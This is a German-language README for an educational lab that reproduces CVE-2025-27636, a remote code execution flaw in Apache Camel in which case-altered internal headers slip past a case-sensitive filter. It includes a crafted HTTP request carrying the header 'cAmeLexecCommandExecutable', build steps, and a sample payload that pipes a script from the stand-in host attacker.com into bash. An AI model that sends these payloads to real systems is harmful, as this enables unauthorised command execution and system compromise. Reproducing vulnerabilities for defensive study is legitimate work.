
# Praktisches Labor zur Reproduktion von CVE-2025-27636, einer kritischen RCE in Apache Camel durch Umgehung des case-sensitiven Header-Filters. Demonstriert Header-Injection zur Ausführung beliebiger Befehle über den exec-Endpunkt.
CVE-2025-27636 ist eine kritische Remote-Codeausführung (RCE)-Schwachstelle in Apache Camel, insbesondere in der Komponente camel-exec. Sie beruht auf einem subtilen, aber gefährlichen Problem:
Die
DefaultHeaderFilterStrategyführt case-sensitive Prüfungen von Headernamen durch, die durch alternative Schreibweise umgangen werden können.
Das bedeutet, dass interne Camel-Header – wie CamelExecCommandExecutable –, die eigentlich blockiert werden sollten, durchschlüpfen können, wenn ihre Schreibweise manipuliert wird (z. B. cAmeLexecCommandExecutable).
Wenn dieser Header den exec:-Endpunkt erreicht, kann ein Angreifer beliebige Befehle einschleusen, was zur vollständigen Kompromittierung des Systems führt.
DefaultHeaderFilterStrategyDer DefaultHeaderFilterStrategy von Apache Camel soll interne Header schützen, wie:
CamelHttp*CamelFile*CamelExecCommandExecutable ← 🚨 anfällig, wenn die Schreibweise den Filter umgeht🔍 Was bedeutet „Intern“? Interne Header sind:
Camel* beginnendVor dem Patch hat dieser Filter Header-Namen case-sensitiv abgeglichen, was gegen die HTTP-Spezifikation verstößt (Header sind case-insensitiv) und Umgehungen wie die folgende ermöglicht:
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
Dieser Header würde an die exec:-Komponente weitergereicht, die dann die Nutzlast ausführt.
CamelExecCommandExecutableDieser Header teilt der camel-exec-Komponente mit, welcher Befehl ausgeführt werden soll. Er ist mächtig – und extrem gefährlich – wenn er vom Benutzer kontrolliert werden kann, insbesondere in Umgebungen, die Betriebssystembefehle unterstützen (z. B. bash, cmd.exe usw.).
Projekt: Pinewood Server Diagnostic
Autor: @enochgitgamefied
Ziel: Reproduktion von CVE-2025-27636 in einem live, pädagogischen Labor.
/tasks → Listet Aufgaben mit exec:tasklist oder exec:ps/systeminfo → Gibt OS-Informationen aus (systeminfo oder uname -a)/network → Zeigt ipconfig oder ifconfig/ mit eingebettetem Jetty# Clone the repository
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab
# Package the app
mvn clean package
# Run it
java -jar target/hello-camel-1.0-SNAPSHOT.jar
Dann in Ihrem Browser aufrufen:
🖥️ http://<your-ip>:8484
Ungepatchtes Verhalten:
Wenn Sie einen Header wie diesen senden (beachten Sie die Schreibweise):
cAmeLexecCommandExecutable: whoami
Der Filter blockiert ihn nicht und er wird an den exec:-Endpunkt weitergereicht. Sie können demonstrieren:
whoamiuname -abash -c "curl http://attacker.com/shell.sh | bash" ← gefährlichEine vollständige Demonstration wird vorbereitet und bald hochgeladen. Sie wird Folgendes durchgehen:
Demo-Link auf YouTube https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s!
HeaderFilterStrategy, wenn Sie strengere Logik erzwingen müssen.exec:-Routen nicht direkt HTTP aus, es sei denn, sie sind vollständig abgesichert.exec.Dieses Labor ist ausschließlich für pädagogische und kontrollierte Laborzwecke bestimmt. Versuchen Sie dies niemals auf nicht autorisierten Systemen oder Netzwerken.
